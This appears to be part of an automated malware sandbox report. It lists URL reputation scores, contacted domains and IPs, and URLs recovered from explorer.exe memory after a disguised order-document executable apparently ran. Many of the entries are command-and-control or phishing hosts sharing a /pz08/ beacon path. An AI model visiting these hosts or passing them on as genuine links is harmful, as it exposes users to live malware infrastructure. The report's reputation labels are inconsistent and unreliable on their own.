                http://www.kxn.ink/pz08/?cx=U4nNGnww1kjxOKScgSk+uScuMskua2ucq9ipsnk6Ch7erOE2tdRqmLDXrgubFDKibExXjkNZ4A==&CR=_DHhAtX0%Avira URL Cloudsafe
                http://www.ytytyt016.xyz/pz08/www.aloyoga-uae.com100%Avira URL Cloudphishing
                http://www.yassa-hany.online/pz08/?cx=QdC7EAnI8ZBK6KsnIEDwiNoe1wSidTgePl3trAKN/Agbi7tcJn0SHRDVuMZpBqNAn8DKeRhHzw==&CR=_DHhAtX0%Avira URL Cloudsafe
                http://www.phdop.xyz0%Avira URL Cloudsafe
                http://www.5819995.com/pz08/www.tacoshack479.com100%Avira URL Cloudmalware
                http://www.aloyoga-uae.comReferer:0%Avira URL Cloudsafe
                http://www.tacoshack479.comReferer:0%Avira URL Cloudsafe
                http://www.tobegoodlife.netReferer:0%Avira URL Cloudsafe
                http://www.kxn.ink/pz08/0%Avira URL Cloudsafe
                http://www.kxn.ink0%Avira URL Cloudsafe
                http://www.plantasdasminas.comReferer:0%Avira URL Cloudsafe
                http://www.tacoshack479.com/pz08/100%Avira URL Cloudmalware
                http://www.go-bloggers.com/pz08/0%Avira URL Cloudsafe
                http://www.yassa-hany.online0%Avira URL Cloudsafe
                http://www.boostyourselftoday.com/pz08/www.yobo-by.com0%Avira URL Cloudsafe
                http://www.boostyourselftoday.com/pz08/?cx=0FaXmte0/P3knfwA0sMIwS1mD7E8vQQWGPcDD9zpFFyhOAUFaj5MXy9fjN6AdDBGShPY7E+43Q==&CR=_DHhAtX0%Avira URL Cloudsafe
                http://www.yobo-by.com/pz08/www.phdop.xyz0%Avira URL Cloudsafe
                http://www.kxn.ink/pz08/www.nordens-media.com0%Avira URL Cloudsafe
                http://www.rdlva.com0%Avira URL Cloudsafe
                http://www.ytytyt016.xyz100%Avira URL Cloudphishing
                http://www.5819995.comReferer:0%Avira URL Cloudsafe
                http://ww25.yassa-hany.online/pz08/?cx=QdC7EAnI8ZBK6KsnIEDwiNoe1wSidTgePl3trAKN/Agbi7tcJn0SHRDVuMZpB0%Avira URL Cloudsafe
                http://www.sunriseclohting.store/pz08/0%Avira URL Cloudsafe
                http://www.plantasdasminas.com/pz08/0%Avira URL Cloudsafe
                http://www.tacoshack479.com/pz08/www.sunriseclohting.store100%Avira URL Cloudmalware
                http://www.ytytyt016.xyz/pz08/?cx=jtuLWRsQ7h/kdQWA3jOYD6sQTdy8Hpo6TuBbTJkxtbgc8qtuAyjytUGgDBD8ARNIyniRVdyhSg==&CR=_DHhAtX100%Avira URL Cloudphishing
                http://www.nordens-media.com/pz08/www.thewipglobal.com0%Avira URL Cloudsafe
                http://www.tobegoodlife.net/pz08/0%Avira URL Cloudsafe
                http://www.ytytyt016.xyz/pz08/100%Avira URL Cloudphishing
                http://www.yobo-by.com0%Avira URL Cloudsafe
                http://www.boostyourselftoday.com0%Avira URL Cloudsafe
                http://www.go-bloggers.com/pz08/www.tobegoodlife.net0%Avira URL Cloudsafe
                http://www.yobo-by.comReferer:0%Avira URL Cloudsafe
                http://www.sunriseclohting.store0%Avira URL Cloudsafe
                http://www.phdop.xyz/pz08/www.rdlva.com100%Avira URL Cloudphishing
                http://www.tacoshack479.com100%Avira URL Cloudmalware
                http://www.5819995.com/pz08/100%Avira URL Cloudmalware
                http://www.nordens-media.comReferer:0%Avira URL Cloudsafe
                http://www.nordens-media.com/pz08/0%Avira URL Cloudsafe
                http://www.phdop.xyzReferer:0%Avira URL Cloudsafe
                http://www.aloyoga-uae.com/pz08/www.kxn.ink100%Avira URL Cloudphishing
                http://www.thewipglobal.com/pz08/0%Avira URL Cloudsafe
                http://www.nordens-media.com0%Avira URL Cloudsafe
                http://www.plantasdasminas.com0%Avira URL Cloudsafe
                http://www.go-bloggers.com0%Avira URL Cloudsafe
                http://www.phdop.xyz/pz08/100%Avira URL Cloudphishing

                Domains and IPs

                Contacted Domains

                NameIPActiveMaliciousAntivirus DetectionReputation
                boostyourselftoday.com
                		172.104.233.69
                		truetrue
                  		unknown
                  rdlva.com
                  		3.33.130.190
                  		truetrue
                    		unknown
                    nordens-media.com
                    		15.197.142.173
                    		truetrue
                      		unknown
                      www.aloyoga-uae.com
                      		3.96.23.237
                      		truetrue
                        		unknown
                        51yt-nlb-8ea864e2717dc817.elb.ap-east-1.amazonaws.com
                        		18.167.179.176
                        		truefalse
                          		high
                          www.thewipglobal.com
                          		15.197.130.221
                          		truetrue
                            		unknown
                            www.yassa-hany.online
                            		103.224.212.213
                            		truetrue
                              		unknown
                              giikin-shangcheng-jingling-3-2041841048.ap-southeast-1.elb.amazonaws.com
                              		13.228.106.35
                              		truefalse
                                		high
                                www.kxn.ink
                                		104.21.12.188
                                		truetrue
                                  		unknown
                                  www.boostyourselftoday.com
                                  		unknown
                                  		unknowntrue
                                    		unknown
                                    www.rdlva.com
                                    		unknown
                                    		unknowntrue
                                      		unknown
                                      www.nordens-media.com
                                      		unknown
                                      		unknowntrue
                                        		unknown
                                        www.ytytyt016.xyz
                                        		unknown
                                        		unknowntrue
                                          		unknown
                                          www.yobo-by.com
                                          		unknown
                                          		unknowntrue
                                            		unknown

                                            Contacted URLs

                                            NameMaliciousAntivirus DetectionReputation
                                            http://www.nordens-media.com/pz08/?cx=32Qm6Ke2HKMNxWuGOo4gUstP0NhHa1GW0Wc3g6Bmqj6dA0nbRKEtQTutVOb61eG0z72pbUCjvw==&CR=_DHhAtXtrue
                                            • Avira URL Cloud: safe
                                            		unknown
                                            http://www.yobo-by.com/pz08/?cx=iU/VPDM1hXdODhSoU7U2JopiHjlxkOyRWPhUw/eyvzY6Otnmd1rCkE8jNVWF6hpsFcjAQEEsrA==&CR=_DHhAtXtrue
                                            • Avira URL Cloud: safe
                                            		unknown
                                            www.rdlva.com/pz08/true
                                            • Avira URL Cloud: safe
                                            		low
                                            http://www.thewipglobal.com/pz08/?cx=j7VZTyaPLotDIgtvuFm1Wc2ZOg86ksyi3hYWattYqpUq5IzwEATKEtPTRIq3N3amsDpuvgSkbA==&CR=_DHhAtXtrue
                                            • Avira URL Cloud: safe
                                            		unknown
                                            http://www.kxn.ink/pz08/?cx=U4nNGnww1kjxOKScgSk+uScuMskua2ucq9ipsnk6Ch7erOE2tdRqmLDXrgubFDKibExXjkNZ4A==&CR=_DHhAtXtrue
                                            • Avira URL Cloud: safe
                                            		unknown
                                            http://www.yassa-hany.online/pz08/?cx=QdC7EAnI8ZBK6KsnIEDwiNoe1wSidTgePl3trAKN/Agbi7tcJn0SHRDVuMZpBqNAn8DKeRhHzw==&CR=_DHhAtXtrue
                                            • Avira URL Cloud: safe
                                            		unknown
                                            http://www.boostyourselftoday.com/pz08/?cx=0FaXmte0/P3knfwA0sMIwS1mD7E8vQQWGPcDD9zpFFyhOAUFaj5MXy9fjN6AdDBGShPY7E+43Q==&CR=_DHhAtXtrue
                                            • Avira URL Cloud: safe
                                            		unknown
                                            http://www.ytytyt016.xyz/pz08/?cx=jtuLWRsQ7h/kdQWA3jOYD6sQTdy8Hpo6TuBbTJkxtbgc8qtuAyjytUGgDBD8ARNIyniRVdyhSg==&CR=_DHhAtXtrue
                                            • Avira URL Cloud: phishing
                                            		unknown

                                            URLs from Memory and Binaries

                                            NameSourceMaliciousAntivirus DetectionReputation
                                            http://www.go-bloggers.comReferer:explorer.exe, 00000007.00000003.2271606980.000000000C514000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000007.00000003.3075843895.000000000C515000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000007.00000002.3806898258.000000000C515000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000007.00000003.2270957915.000000000C502000.00000004.00000001.00020000.00000000.sdmpfalse
                                            • Avira URL Cloud: safe
                                            		unknown
                                            https://api.msn.com:443/v1/news/Feed/Windows?texplorer.exe, 00000007.00000002.3793412922.0000000007276000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000007.00000000.1400763219.0000000007276000.00000004.00000001.00020000.00000000.sdmpfalse
                                              		high
                                              https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13f2DVexplorer.exe, 00000007.00000000.1400763219.00000000071FC000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000007.00000002.3793412922.00000000071FC000.00000004.00000001.00020000.00000000.sdmpfalse
                                                		high
                                                http://www.boostyourselftoday.com/pz08/explorer.exe, 00000007.00000003.2271606980.000000000C514000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000007.00000003.3075843895.000000000C515000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000007.00000002.3806898258.000000000C515000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000007.00000003.2270957915.000000000C502000.00000004.00000001.00020000.00000000.sdmpfalse
                                                • Avira URL Cloud: safe
                                                		unknown
                                                https://www.msn.com/en-us/sports/other/simone-biles-leads-u-s-women-s-team-to-seventh-straight-worldexplorer.exe, 00000007.00000000.1400763219.00000000071FC000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000007.00000002.3793412922.00000000071FC000.00000004.00000001.00020000.00000000.sdmpfalse
                                                  		high
                                                  https://api.msn.com:443/v1/news/Feed/Windows?explorer.exe, 00000007.00000000.1400763219.00000000071FC000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000007.00000002.3793412922.00000000071FC000.00000004.00000001.00020000.00000000.sdmpfalse
                                                    		high
                                                    https://www.msn.com/en-us/weather/topstories/here-s-who-could-see-above-average-snowfall-this-winterexplorer.exe, 00000007.00000000.1400763219.00000000071FC000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000007.00000002.3793412922.00000000071FC000.00000004.00000001.00020000.00000000.sdmpfalse
                                                      		high
                                                      http://www.boostyourselftoday.comReferer:explorer.exe, 00000007.00000003.2271606980.000000000C514000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000007.00000003.3075843895.000000000C515000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000007.00000002.3806898258.000000000C515000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000007.00000003.2270957915.000000000C502000.00000004.00000001.00020000.00000000.sdmpfalse
                                                      • Avira URL Cloud: safe
                                                      		unknown
                                                      http://www.tobegoodlife.net/pz08/www.5819995.comexplorer.exe, 00000007.00000003.2271606980.000000000C514000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000007.00000003.3075843895.000000000C515000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000007.00000002.3806898258.000000000C515000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000007.00000003.2270957915.000000000C502000.00000004.00000001.00020000.00000000.sdmpfalse
                                                      • Avira URL Cloud: safe
                                                      		unknown
                                                      http://www.aloyoga-uae.com/pz08/explorer.exe, 00000007.00000003.2271606980.000000000C514000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000007.00000003.3075843895.000000000C515000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000007.00000002.3806898258.000000000C515000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000007.00000003.2270957915.000000000C502000.00000004.00000001.00020000.00000000.sdmpfalse
                                                      • Avira URL Cloud: phishing
                                                      		unknown
                                                      https://excel.office.comexplorer.exe, 00000007.00000002.3805456572.000000000C091000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000007.00000000.1408522157.000000000C091000.00000004.00000001.00020000.00000000.sdmpfalse
                                                        		high
                                                        https://www.msn.com/en-us/money/realestate/why-this-florida-city-is-a-safe-haven-from-hurricanes/ar-explorer.exe, 00000007.00000000.1400763219.00000000071FC000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000007.00000002.3793412922.00000000071FC000.00000004.00000001.00020000.00000000.sdmpfalse
                                                          		high
                                                          http://www.thewipglobal.com/pz08/www.boostyourselftoday.comexplorer.exe, 00000007.00000003.2271606980.000000000C514000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000007.00000003.3075843895.000000000C515000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000007.00000002.3806898258.000000000C515000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000007.00000003.2270957915.000000000C502000.00000004.00000001.00020000.00000000.sdmpfalse
                                                          • Avira URL Cloud: safe
                                                          		unknown
                                                          http://www.tobegoodlife.netexplorer.exe, 00000007.00000003.2271606980.000000000C514000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000007.00000003.3075843895.000000000C515000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000007.00000002.3806898258.000000000C515000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000007.00000003.2270957915.000000000C502000.00000004.00000001.00020000.00000000.sdmpfalse
                                                          • Avira URL Cloud: safe
                                                          		unknown
                                                          http://www.yassa-hany.onlineReferer:explorer.exe, 00000007.00000003.2271606980.000000000C514000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000007.00000003.3075843895.000000000C515000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000007.00000002.3806898258.000000000C515000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000007.00000003.2270957915.000000000C502000.00000004.00000001.00020000.00000000.sdmpfalse
                                                          • Avira URL Cloud: safe
                                                          		unknown
                                                          http://www.thewipglobal.comexplorer.exe, 00000007.00000003.2271606980.000000000C514000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000007.00000003.3075843895.000000000C515000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000007.00000002.3806898258.000000000C515000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000007.00000003.2270957915.000000000C502000.00000004.00000001.00020000.00000000.sdmpfalse
                                                          • Avira URL Cloud: safe
                                                          		unknown
                                                          http://www.rdlva.comReferer:explorer.exe, 00000007.00000003.2271606980.000000000C514000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000007.00000003.3075843895.000000000C515000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000007.00000002.3806898258.000000000C515000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000007.00000003.2270957915.000000000C502000.00000004.00000001.00020000.00000000.sdmpfalse
                                                          • Avira URL Cloud: safe
                                                          		unknown
                                                          http://www.sunriseclohting.storeReferer:explorer.exe, 00000007.00000003.2271606980.000000000C514000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000007.00000003.3075843895.000000000C515000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000007.00000002.3806898258.000000000C515000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000007.00000003.2270957915.000000000C502000.00000004.00000001.00020000.00000000.sdmpfalse
                                                          • Avira URL Cloud: safe
                                                          		unknown
                                                          https://api.msn.com/v1/news/Feed/Windows?activityId=DD4083B70FE54739AB05D6BBA3484042&timeOut=5000&ocexplorer.exe, 00000007.00000000.1400763219.00000000071FC000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000007.00000002.3793412922.00000000071FC000.00000004.00000001.00020000.00000000.sdmpfalse
                                                            		high
                                                            http://www.rdlva.com/pz08/www.yassa-hany.onlineexplorer.exe, 00000007.00000003.2271606980.000000000C514000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000007.00000003.3075843895.000000000C515000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000007.00000002.3806898258.000000000C515000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000007.00000003.2270957915.000000000C502000.00000004.00000001.00020000.00000000.sdmpfalse
                                                            • Avira URL Cloud: safe
                                                            		unknown
                                                            http://www.5819995.comexplorer.exe, 00000007.00000003.2271606980.000000000C514000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000007.00000003.3075843895.000000000C515000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000007.00000002.3806898258.000000000C515000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000007.00000003.2270957915.000000000C502000.00000004.00000001.00020000.00000000.sdmpfalse
                                                            • Avira URL Cloud: safe
                                                            		unknown
                                                            https://wns.windows.com/explorer.exe, 00000007.00000000.1404737205.00000000090F2000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000007.00000003.2272035015.00000000090F2000.00000004.00000001.00020000.00000000.sdmpfalse
                                                              		high
                                                              http://schemas.xmlsoap.org/ws/2005/05/identity/claims/nameSolicitud de pedido Documento No 168646080.exe, 00000002.00000002.1394754443.00000000029DB000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                		high
                                                                http://www.sunriseclohting.store/pz08/www.plantasdasminas.comexplorer.exe, 00000007.00000003.2271606980.000000000C514000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000007.00000003.3075843895.000000000C515000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000007.00000002.3806898258.000000000C515000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000007.00000003.2270957915.000000000C502000.00000004.00000001.00020000.00000000.sdmpfalse
                                                                • Avira URL Cloud: safe
                                                                		unknown
                                                                http://www.thewipglobal.comReferer:explorer.exe, 00000007.00000003.2271606980.000000000C514000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000007.00000003.3075843895.000000000C515000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000007.00000002.3806898258.000000000C515000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000007.00000003.2270957915.000000000C502000.00000004.00000001.00020000.00000000.sdmpfalse
                                                                • Avira URL Cloud: safe
                                                                		unknown
                                                                http://www.autoitscript.com/autoit3/Jexplorer.exe, 00000007.00000003.2271963651.0000000007320000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000007.00000002.3794295750.0000000007319000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000007.00000000.1400763219.0000000007306000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000007.00000003.2271937280.0000000007318000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000007.00000003.2271828334.0000000007306000.00000004.00000001.00020000.00000000.sdmpfalse
                                                                  		high
                                                                  http://www.kxn.inkReferer:explorer.exe, 00000007.00000003.2271606980.000000000C514000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000007.00000003.3075843895.000000000C515000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000007.00000002.3806898258.000000000C515000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000007.00000003.2270957915.000000000C502000.00000004.00000001.00020000.00000000.sdmpfalse
                                                                  • Avira URL Cloud: safe
                                                                  		unknown
                                                                  https://word.office.comexplorer.exe, 00000007.00000002.3805456572.000000000C091000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000007.00000000.1408522157.000000000C091000.00000004.00000001.00020000.00000000.sdmpfalse
                                                                    		high
                                                                    https://assets.msn.com/weathermapdata/1/static/finance/1stparty/FinanceTaskbarIcons/Finance_Earningsexplorer.exe, 00000007.00000002.3793412922.00000000071FC000.00000004.00000001.00020000.00000000.sdmpfalse
                                                                      		high
                                                                      https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13fcaT-darkexplorer.exe, 00000007.00000000.1400763219.00000000071FC000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000007.00000002.3793412922.00000000071FC000.00000004.00000001.00020000.00000000.sdmpfalse
                                                                        		high
                                                                        http://www.ytytyt016.xyz/pz08/www.aloyoga-uae.comexplorer.exe, 00000007.00000003.2271606980.000000000C514000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000007.00000003.3075843895.000000000C515000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000007.00000002.3806898258.000000000C515000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000007.00000003.2270957915.000000000C502000.00000004.00000001.00020000.00000000.sdmpfalse
                                                                        • Avira URL Cloud: phishing
                                                                        		unknown
                                                                        https://windows.msn.com:443/shell?osLocale=en-GB&chosenMarketReason=ImplicitNewexplorer.exe, 00000007.00000000.1400763219.00000000071FC000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000007.00000002.3793412922.00000000071FC000.00000004.00000001.00020000.00000000.sdmpfalse
                                                                          		high
                                                                          http://www.5819995.com/pz08/www.tacoshack479.comexplorer.exe, 00000007.00000003.2271606980.000000000C514000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000007.00000003.3075843895.000000000C515000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000007.00000002.3806898258.000000000C515000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000007.00000003.2270957915.000000000C502000.00000004.00000001.00020000.00000000.sdmpfalse
                                                                          • Avira URL Cloud: malware
                                                                          		unknown
                                                                          https://outlook.comexplorer.exe, 00000007.00000002.3805456572.000000000C091000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000007.00000000.1408522157.000000000C091000.00000004.00000001.00020000.00000000.sdmpfalse
                                                                            		high
                                                                            http://www.phdop.xyzexplorer.exe, 00000007.00000003.2271606980.000000000C514000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000007.00000003.3075843895.000000000C515000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000007.00000002.3806898258.000000000C515000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000007.00000003.2270957915.000000000C502000.00000004.00000001.00020000.00000000.sdmpfalse
                                                                            • Avira URL Cloud: safe
                                                                            		unknown
                                                                            http://www.aloyoga-uae.comReferer:explorer.exe, 00000007.00000003.2271606980.000000000C514000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000007.00000003.3075843895.000000000C515000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000007.00000002.3806898258.000000000C515000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000007.00000003.2270957915.000000000C502000.00000004.00000001.00020000.00000000.sdmpfalse
                                                                            • Avira URL Cloud: safe
                                                                            		unknown
                                                                            http://www.tobegoodlife.netReferer:explorer.exe, 00000007.00000003.2271606980.000000000C514000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000007.00000003.3075843895.000000000C515000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000007.00000002.3806898258.000000000C515000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000007.00000003.2270957915.000000000C502000.00000004.00000001.00020000.00000000.sdmpfalse
                                                                            • Avira URL Cloud: safe
                                                                            		unknown
                                                                            http://www.kxn.ink/pz08/explorer.exe, 00000007.00000003.2271606980.000000000C514000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000007.00000003.3075843895.000000000C515000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000007.00000002.3806898258.000000000C515000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000007.00000003.2270957915.000000000C502000.00000004.00000001.00020000.00000000.sdmpfalse
                                                                            • Avira URL Cloud: safe
                                                                            		unknown
                                                                            http://www.tacoshack479.comReferer:explorer.exe, 00000007.00000003.2271606980.000000000C514000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000007.00000003.3075843895.000000000C515000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000007.00000002.3806898258.000000000C515000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000007.00000003.2270957915.000000000C502000.00000004.00000001.00020000.00000000.sdmpfalse
                                                                            • Avira URL Cloud: safe
                                                                            		unknown
                                                                            http://www.kxn.inkexplorer.exe, 00000007.00000003.2271606980.000000000C514000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000007.00000003.3075843895.000000000C515000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000007.00000002.3806898258.000000000C515000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000007.00000003.2270957915.000000000C502000.00000004.00000001.00020000.00000000.sdmpfalse
                                                                            • Avira URL Cloud: safe
                                                                            		unknown
                                                                            http://www.plantasdasminas.comReferer:explorer.exe, 00000007.00000003.2271606980.000000000C514000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000007.00000003.3075843895.000000000C515000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000007.00000002.3806898258.000000000C515000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000007.00000003.2270957915.000000000C502000.00000004.00000001.00020000.00000000.sdmpfalse
                                                                            • Avira URL Cloud: safe
                                                                            		unknown
                                                                            https://android.notify.windows.com/iOSexplorer.exe, 00000007.00000003.2272035015.000000000913F000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000007.00000000.1404737205.000000000913F000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000007.00000003.3074160405.000000000913F000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000007.00000002.3798409790.000000000913F000.00000004.00000001.00020000.00000000.sdmpfalse
                                                                              		high
                                                                              https://activity.windows.com/UserActivity.ReadWrite.CreatedByAppexplorer.exe, 00000007.00000000.1404737205.0000000008F4D000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000007.00000002.3797149522.0000000008F83000.00000004.00000001.00020000.00000000.sdmpfalse
                                                                                		high
                                                                                https://www.msn.com/en-us/news/us/dumb-and-dumber-12-states-with-the-absolute-worst-education-in-theexplorer.exe, 00000007.00000000.1400763219.00000000071FC000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000007.00000002.3793412922.00000000071FC000.00000004.00000001.00020000.00000000.sdmpfalse
                                                                                  		high
                                                                                  http://www.go-bloggers.com/pz08/explorer.exe, 00000007.00000003.2271606980.000000000C514000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000007.00000003.3075843895.000000000C515000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000007.00000002.3806898258.000000000C515000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000007.00000003.2270957915.000000000C502000.00000004.00000001.00020000.00000000.sdmpfalse
                                                                                  • Avira URL Cloud: safe
                                                                                  		unknown
                                                                                  http://www.tacoshack479.com/pz08/explorer.exe, 00000007.00000003.2271606980.000000000C514000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000007.00000003.3075843895.000000000C515000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000007.00000002.3806898258.000000000C515000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000007.00000003.2270957915.000000000C502000.00000004.00000001.00020000.00000000.sdmpfalse
                                                                                  • Avira URL Cloud: malware
                                                                                  		unknown
                                                                                  http://www.boostyourselftoday.com/pz08/www.yobo-by.comexplorer.exe, 00000007.00000003.2271606980.000000000C514000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000007.00000003.3075843895.000000000C515000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000007.00000002.3806898258.000000000C515000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000007.00000003.2270957915.000000000C502000.00000004.00000001.00020000.00000000.sdmpfalse
                                                                                  • Avira URL Cloud: safe
                                                                                  		unknown
                                                                                  http://www.yassa-hany.onlineexplorer.exe, 00000007.00000003.2271606980.000000000C514000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000007.00000003.3075843895.000000000C515000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000007.00000002.3806898258.000000000C515000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000007.00000003.2270957915.000000000C502000.00000004.00000001.00020000.00000000.sdmpfalse
                                                                                  • Avira URL Cloud: safe
                                                                                  		unknown
                                                                                  http://www.yobo-by.com/pz08/www.phdop.xyzexplorer.exe, 00000007.00000003.2271606980.000000000C514000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000007.00000003.3075843895.000000000C515000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000007.00000002.3806898258.000000000C515000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000007.00000003.2270957915.000000000C502000.00000004.00000001.00020000.00000000.sdmpfalse
                                                                                  • Avira URL Cloud: safe
                                                                                  		unknown
                                                                                  https://api.msn.com/v1/news/Feed/Windows?explorer.exe, 00000007.00000000.1404737205.0000000008F09000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000007.00000002.3797149522.0000000008F09000.00000004.00000001.00020000.00000000.sdmpfalse
                                                                                    		high
                                                                                    https://www.msn.com/en-us/lifestyle/lifestyle-buzz/what-to-do-if-a-worst-case-nuclear-scenario-actuaexplorer.exe, 00000007.00000000.1400763219.00000000071FC000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000007.00000002.3793412922.00000000071FC000.00000004.00000001.00020000.00000000.sdmpfalse
                                                                                      		high
                                                                                      https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13fcaTexplorer.exe, 00000007.00000000.1400763219.00000000071FC000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000007.00000002.3793412922.00000000071FC000.00000004.00000001.00020000.00000000.sdmpfalse
                                                                                        		high
                                                                                        https://www.pollensense.com/explorer.exe, 00000007.00000002.3793412922.00000000071B2000.00000004.00000001.00020000.00000000.sdmpfalse
                                                                                        • URL Reputation: safe
                                                                                        		unknown
                                                                                        http://www.rdlva.comexplorer.exe, 00000007.00000003.2271606980.000000000C514000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000007.00000003.3075843895.000000000C515000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000007.00000002.3806898258.000000000C515000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000007.00000003.2270957915.000000000C502000.00000004.00000001.00020000.00000000.sdmpfalse
                                                                                        • Avira URL Cloud: safe
                                                                                        		unknown
